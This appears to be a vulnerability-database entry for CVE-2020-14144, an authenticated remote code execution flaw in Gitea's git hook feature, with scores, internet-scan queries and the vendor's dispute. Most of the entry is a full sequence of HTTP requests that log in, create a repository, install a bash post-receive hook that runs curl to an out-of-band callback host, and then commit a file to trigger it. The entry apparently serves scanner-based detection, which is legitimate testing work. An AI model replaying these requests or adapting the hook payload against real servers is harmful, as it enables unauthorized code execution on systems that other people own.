| Title | Gitea 1.1.0 - 1.12.5 - Remote Code Execution |
|---|---|
| Author | theamanrawat |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system. |
| Remediation | Fixed in version 1.16.7. |
| CVSS Score | 7.2 |
| EPSS Score | 0.93388 |
| CVE ID | CVE-2020-14144 |
| CWE ID | CWE-78 |
| Shodan Query | html:"Powered by Gitea Version"http.html:"powered by gitea version"http.title:"gitea"cpe:"cpe:2.3:a:gitea:gitea" |
| Fofa Query | body="powered by gitea version"title="gitea" |
| Tags | cve2020 cve rce gitea authenticated git intrusive vuln |
Gitea 1.1.0 through 1.12.5 is susceptible to authenticated remote code execution, via the git hook functionality, in customer environments where the documentation is not understood (e.g., one viewpoint is that the dangerousness of this feature should be documented immediately above the ENABLE_GIT_HOOKS line in the config file). NOTE: The vendor has indicated this is not a vulnerability and states “This is a functionality of the software that is limited to a subset of accounts. If you give someone the privilege to execute arbitrary code on your server, they can execute arbitrary code on your server. We provide very clear warnings to users around this functionality and what it provides.”
GET /user/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/6.0
Connection: close
Accept-Encoding: gzip
POST /user/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:30.0) Gecko/20100101 Firefox/30.0
Connection: close
Content-Length: 47
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
_csrf=rTbW2l&user_name=79YoUA&password=wv9SdoUN
GET /repo/create HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /repo/create HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Connection: close
Content-Length: 180
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
_csrf=ALlo0W&uid=1&repo_name=38FQrG1sLWuGZFLLaQLbg1ipovW&private=on&description=&repo_template=&issue_labels=&gitignores=&license=&readme=Default&auto_init=on&default_branch=master
POST /79YoUA/38FQrG1sLWuGZFLLaQLbg1ipovW/settings/hooks/git/post-receive HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Content-Length: 93
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
_csrf=ALlo0W&content=%23%21%2Fbin%2Fbash%0D%0Acurl+d5joiiple0o34e2g5270h31841ojx3fge.oast.pro
GET /79YoUA/38FQrG1sLWuGZFLLaQLbg1ipovW/_new/master HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /79YoUA/38FQrG1sLWuGZFLLaQLbg1ipovW/_new/master HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Content-Length: 116
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
_csrf=ALlo0W&last_commit=bUe8MC&tree_path=test.txt&content=test&commit_summary=&commit_message=&commit_choice=direct
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-14144.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-14144.pcap
N/AN/A